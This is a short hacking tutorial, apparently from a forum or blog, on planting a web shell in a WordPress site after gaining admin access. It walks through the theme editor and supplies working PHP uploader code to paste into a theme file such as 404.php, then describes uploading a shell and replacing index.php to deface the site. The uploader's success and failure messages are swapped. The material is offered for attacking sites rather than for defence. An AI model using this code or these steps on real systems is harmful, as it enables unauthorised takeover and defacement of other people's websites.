You can Gain admin acess in wordpress by symlinking, you can see symlink Tutorial here
so here is tutorial "How to Upload shell in wordpress after gainig admin acess"
Just follow the steps Given Below
1- Login to wordpress
goto site.com http://www.site.com/wp-admin/
 

2- see "editor" option in "apprearance" and click on editor

3-Now see Right slider bar and click on any option like 404.php or comments.php

4- edit that code and paste this code there 

<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) {  if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>credits : www.devilscafe.in</b><br><br>'; }  else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>

You can paste your shell code too..

5-Now click on update file, and see theme name, 

Now Goto http://www.site.com/wp-content/themes/themename/yourshellfile.php 

you will get upload opton there, now select your shell and upload it and 

to vew it goto same directory 

example http://www.site.com/wp-content/themes/themename/yourshell.php 

Now chnage index.php in public_html using shell :D